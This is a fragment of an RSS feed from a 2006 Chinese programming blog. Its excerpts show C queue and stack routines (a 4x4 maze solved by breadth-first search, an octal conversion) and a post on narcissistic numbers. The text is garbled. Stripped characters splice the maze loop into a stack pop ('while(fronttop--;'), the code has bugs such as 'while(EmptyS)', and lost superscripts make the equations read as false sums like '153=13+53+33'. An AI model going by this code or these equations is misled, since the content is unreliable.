typedef struct Queue q;
position start,end;
int num=0;
position offset[4];
int grid[MAX][MAX];
void init_q(q *p)
{
	p->top=-1;
	p->rear=-1;
}
void enqueue(q *p,position x)
{
	p->rear++;
	p->queue[p->rear].col=x.col;
	p->queue[p->rear]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-03-29 18:36:00</pubDate>
		</item>
				<item>
		<title><![CDATA[栈与队列的例程]]></title>
		<link>http://blog.pfan.cn/asun/11582.html</link>
		<description><![CDATA[栈与队列，是很多学习算法的同学遇到第一只拦路虎，很多人从这一章开始坐晕车，一直晕到现在。所以，理解栈与队列，是走向算法高手的一条必由之路。栈与队列的题目涉及面很广，也很灵活。但是也是很实用的呢。

1.用队列来走一个4X4的迷宫，具体严本上有算法，这里只是实现。

#include
#define m 4
#define n 4
int mg[m+1][n+1];
struct mgque
{
      int x,y,pre;
}mgque[25];/*队列：用来存路径*/
struct zl
{
      int x,y;
}zl[5];/*四个方向的增量*/
int outlj(struct mgque mgque[],int rear)
{    int i;
     i=rear;
     do{
                printf("(%d,%d)",mgque[i].x,mgque[i].y);
                i=mgque[i].pre;
       }while(i!=0);
}/*输出用rear反方向输出*/
int  mglj()
{
        int x,y,i=1,j=1,d,find;/*d是用来循环的增量*/
        int rear=0,front=0;
        mgque[0].x=1;mgque[0].y=1;mgque[0].pre=-1;
        mg[1][1]=-1;/*迷宫左上第一个，若为0可通，标志为-1防止重复*/
        find=0;
        while(fronttop--;
 return x;
 }
EmptyS(Stack *s)  /*判断空栈*/
{
 return s->top==-1;
 }
main()
{
 int N=1348;
 Stack *s;
 s=(Stack *)malloc(sizeof(Stack));
 s->top=-1;
 while(N)
 {
  push(s,N%8);
  N=N/8;
  }
 while(EmptyS)
 {
  printf("%d",pop(s));]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-03-29 18:19:00</pubDate>
		</item>
				<item>
		<title><![CDATA[数学猜想]]></title>
		<link>http://blog.pfan.cn/asun/11561.html</link>
		<description><![CDATA[1.【回归数猜想】


&nbsp;&nbsp;&nbsp; 英国大数学家哈代(G.H.Hardy,1877-1947)曾经发现过一种有趣的现象:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 153=13+53+33&nbsp;&nbsp; 371=33+73+13&nbsp;&nbsp; 370=33+73+03&nbsp;&nbsp; 407=43+03+73
他们都是三位数且等于各位数字的三次幂之和,这种巧合不能不令人感到惊讶.更为称奇的是,一位读者看过哈代的有趣发现后,竟然构造出其值等于各位数字四(五,六)次幂之和的四(五,六)位数:
&nbsp; 1634=14+64+34+44&nbsp; 54748=55+45+75+45+85&nbsp;&nbsp;&nbsp; 548834=56+46+86+86+36+46
像这种其值等于各位数字的 n 次幂之和的 n 位数,称为 n 位 n 次幂回归数.本文只讨论这种回归数,故简称为回归数,人们自然要问:对于什么样的自然数 n 有回归数?这样的 n 是有限个还是无穷多个?对于已经给定的 n ,如果有回归数,那么有多少个回归数?&nbsp; 1986年美国的一位数学教师安东尼.迪拉那(Anthony Diluna)巧妙地证明了使 n 位数成为回归数的 n 只有有限个.&nbsp; 设 An 是这样的回归数,即:
&nbsp;&nbsp; An=a1a2a3...an=a1n+a2n+...+ann&nbsp; (其中 0&lt;=a1,a2,...an&lt;=9)
&nbsp;&nbsp; 从而&nbsp; 10n-1&lt;=An&lt;=n9n&nbsp; 即 n 必须满足 n9n&gt;10n-1&nbsp; 也就是&nbsp; (10/9)n&lt;10n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ⑴
&nbsp;&nbsp; 随着自然数 n 的不断增大,(10/9)n 值的增加越来越快,很快就会使得 ⑴ 式不成立,因此,满足⑴的 n 不能无限增大,即 n 只能取有限多个.进一步的计算表明:
&nbsp;&nbsp; (10/9)60=556.4798...&lt;10*60=600&nbsp;&nbsp;&nbsp;]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-03-29 09:31:00</pubDate>
		</item>
		</channel>
</rss>